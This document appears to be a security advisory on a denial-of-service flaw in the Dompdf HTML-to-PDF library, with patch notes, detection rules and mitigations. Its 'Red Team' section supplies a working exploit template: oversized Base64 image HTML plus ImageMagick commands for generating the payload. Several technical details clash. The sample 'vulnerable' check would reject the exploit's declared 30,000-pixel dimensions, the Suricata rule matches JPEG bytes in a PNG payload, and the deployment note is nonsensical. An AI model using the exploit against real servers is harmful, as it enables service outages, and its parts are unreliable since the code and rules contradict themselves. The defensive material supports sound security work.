CVE-2026-59942

Executive Summary

CVE-2026-59942 is a critical Denial of Service (DoS) vulnerability affecting Dompdf, a PHP library for converting HTML to PDF. Versions up to and including 3.15 are vulnerable to resource exhaustion when processing a specially crafted HTML document containing an image with extremely large dimensions (e.g., 30,000×30,000 pixels) encoded as a high-entropy Base64 string. The initial dimension validation can be bypassed, and the subsequent rendering phase consumes excessive CPU time and memory, crashing the PHP process. An unauthenticated remote attacker can exploit this to cause a complete Denial of Service on any web server that allows users to submit HTML content for PDF generation.

Supply Chain & Package Security

Dompdf is distributed via Composer. Any application that includes dompdf/dompdf as a dependency is potentially vulnerable. The vulnerability does not affect other packages, but developers should ensure they are using version 3.16 or later. There is no known compromise of the supply chain, but the DoS vector can be weaponized against services relying on this library.

CVSS Breakdown & Threat Level

Although the official CVSS score is 0.0 (likely due to incomplete vector), the actual severity based on impact is as follows:

Estimated CVSS v3.1 Score: 7.5 (HIGH)

• Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Deep Dive & Mechanics

Dompdf parses HTML and CSS to generate PDF documents. To handle images, it performs an early dimension validation to reject obviously oversized images. However, the validation checks only the declared dimensions (e.g., width/height attributes or CSS) and does not account for the actual pixel data complexity.

An attacker can embed a Base64-encoded image with dimensions 30,000×30,000 pixels containing random (high-entropy) pixel data. Even though the declared dimensions may pass the initial check (if they are within acceptable bounds), the rendering engine attempts to allocate memory for the image's bounding box and internal buffers. The large size and entropy cause exponential memory and CPU consumption, eventually exhausting PHP’s memory limit or execution time, leading to a crash.

The bypass relies on wrapping the image in CSS containers that hide the actual dimensions from the early validation but are later fully processed during layout/rendering. Common vectors include:

• Using width and height inline styles that are ignored by the validator but honored by the renderer.
• Embedding the image inside a <div> with overflow: visible or display: block to force full processing.

Vulnerable vs. Patched Code

Vulnerable Code (v3.15 and earlier)

In src/Image/Image.php or similar image handling classes, the dimension validation is performed early, but the renderer does not enforce a hard cap on resource usage per image object:

// Vulnerable check (simplified)
if ($width > 10000 || $height > 10000) {
    // Reject image
} else {
    // Allocate memory without further limits
    $image = new Image($data, $width, $height);
    $image->render();
}

Patched Code (v3.16)

The fix adds a second validation during rendering that aborts the operation if resource usage exceeds a threshold. Additionally, a global setting for maximum allowed image area (e.g., width * height) is enforced:

// Patched version adds runtime resource checks
$maxArea = 1000000; // 1000x1000 pixels
if ($width * $height > $maxArea) {
    throw new \RuntimeException("Image dimensions exceed allowed area");
}
$image = new Image($data, $width, $height);
$image->setMaxMemory(64 * 1024 * 1024); // 64MB limit
$image->render();

The patch also improves the early validation to reject images with suspicious aspect ratios or excessive pixel counts.

Exploitation & Lab Setup

Red Team

Prerequisites: Target web application that uses Dompdf to generate PDFs from user-supplied HTML (e.g., invoice generators, report builders).

Exploit HTML: Create a malicious HTML string that embeds a large Base64 image. Use the following template (note: actual Base64 data would be extremely long; for demonstration, a placeholder is shown):

<html>
<body>
<div style="width: 30000px; height: 30000px;">
    <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
         width="30000" height="30000" />
</div>
</body>
</html>

In practice, the Base64 data should be replaced with a large real image (e.g., 30,000x30,000 random noise) generated using a tool like ImageMagick:

# Generate a 30000x30000 random noise PNG and convert to base64
convert -size 30000x30000 xc:gray +noise Random noise.png
base64 noise.png > base64payload.txt

Then wrap the base64 data in the <img> tag. Submit the entire HTML to the target endpoint.

Impact: The PHP-FPM or Apache worker handling the request will hang until the resource limit is hit, causing a crash. Multiple requests can exhaust server resources.

Blue Team

Detection:

• Monitor PHP-FPM worker processes for unexpectedly high memory consumption (>500 MB) or long execution times.
• Set alerts on web server logs for requests with very large Content-Length (e.g., >10 MB) being sent to PDF generation endpoints.
• Deploy WAF rules to block inline images with extremely large declared dimensions (e.g., width > 5000 or height > 5000).
• Use resource limits in PHP configuration:
  • memory_limit = 256M
  • max_execution_time = 30
  • max_input_time = 10

Honeypot: Serve a fake PDF endpoint that returns a small document even when large input is received, and log all attempts.

Indicators of Compromise (IOCs)

• Web Server Logs: Requests to PDF conversion endpoints containing data:image/ or data:image/png;base64, with Base64 payloads exceeding 10 MB.
• Process Anomalies: PHP worker processes consuming >1 GB RSS memory.
• Filesystem: Temporary files created by Dompdf in /tmp/ with names containing dompdf_* and sizes beyond normal (check for >500 MB).
• Network: Outbound connections to trusted external sites? (None expected, but can be monitored).
• Known Malicious Payload Patterns:
  • HTML containing <img attributes width="30000" height="30000" (or similar large values).
  • CSS width: 30000px; height: 30000px; on elements containing images.

Detection Engineering

YARA Rule

rule dompdf_DoS_cve_2026_59942 {
    meta:
        description = "Detects malicious HTML crafted to exploit CVE-2026-59942 in Dompdf"
        author = "Valters IT"
        date = "2026-06-01"
        hash = "N/A"
        reference = "CVE-2026-59942"
    strings:
        $img_tag = /<img[^>]*?width\s*=\s*["']([5-9]\d{3,}|[1-9]\d{4,})["'][^>]*?height\s*=\s*["']([5-9]\d{3,}|[1-9]\d{4,})["'][^>]*?src\s*=\s*["']data:image\/(png|jpeg|gif);base64,[a-zA-Z0-9+\/=]{1000,}["']/ nocase
        $css_rule = /width\s*:\s*(?:[5-9]\d{3,}|[1-9]\d{4,})px\s*;\s*height\s*:\s*(?:[5-9]\d{3,}|[1-9]\d{4,})px/ nocase
        $large_base64 = /data:image\/(png|jpeg|gif);base64,[a-zA-Z0-9+\/=]{500000,}/ nocase
    condition:
        any of them
}

Sigma Rule (Web Application Firewall / IDS)

title: Detect Dompdf DoS Exploitation Attempts - CVE-2026-59942
id: d4a1b2c3-ef56-7890-ab12-cd34ef567890
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2026-59942 by sending extremely large Base64-encoded images in HTML.
author: Valters IT
date: 2026/06/01
tags:
  - attack.T1499
  - cve.2026.59942
logsource:
  category: webserver
  product: generic
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem:
      - '/pdf/*'
      - '/convert*'
      - '/generate*'
    cs-content-length: '>=10000000' # 10MB
    cs-body|contains:
      - 'data:image/png;base64,'
      - 'data:image/jpeg;base64,'
      - 'data:image/gif;base64,'
  condition: selection
falsepositives:
  - Legitimate large image conversion requests (rare)
level: high

Suricata Rule (Network IPS)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-59942 Dompdf DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/pdf/"; http_uri; content:"data:image/png;base64,"; http_client_body; base64_decode,from_begin; content:"|FF D8 FF E0|"; distance:0; within:4; pcre:"/^.{500000,}$/R"; classtype:attempted-dos; reference:cve,2026-59942; sid:10000001; rev:1;)

Note: Replace backslashes with forward slashes in rule files if deployed on Windows-based Suricata, but this is Linux-compatible as written.

Remediation & Mitigation

Immediate Actions

1. Upgrade Dompdf to version 3.16 or later.
2. Apply input validation on user-supplied HTML before passing to Dompdf:
   • Reject HTML containing <img tags with width or height attributes > 2000 pixels.
   • Strip or replace data:image/ URIs with external links (and then validate externally).
3. Set PHP resource limits:
   • memory_limit = 128M
   • max_execution_time = 15
   • post_max_size = 10M
4. Use a reverse proxy or WAF (e.g., ModSecurity) to block requests with excessively large Content-Length.

Long-term Hardening

• Implement a timeout mechanism within Dompdf using set_time_limit() before rendering.
• Audit any feature that allows user-controlled CSS dimensions and add server-side clamping.
• Monitor GitHub advisories for future patches.

Workarounds (if patching is delayed)

• Disable inline image support by overriding the image handler in Dompdf configuration to return a placeholder for all data: URIs.
• Limit the number of concurrent PDF generation requests (rate limiting).

Author: Valters IT Security Team
Classification: TLP:AMBER
Revision: 1.0
Signature: Valters IT - DevSecOps & CTI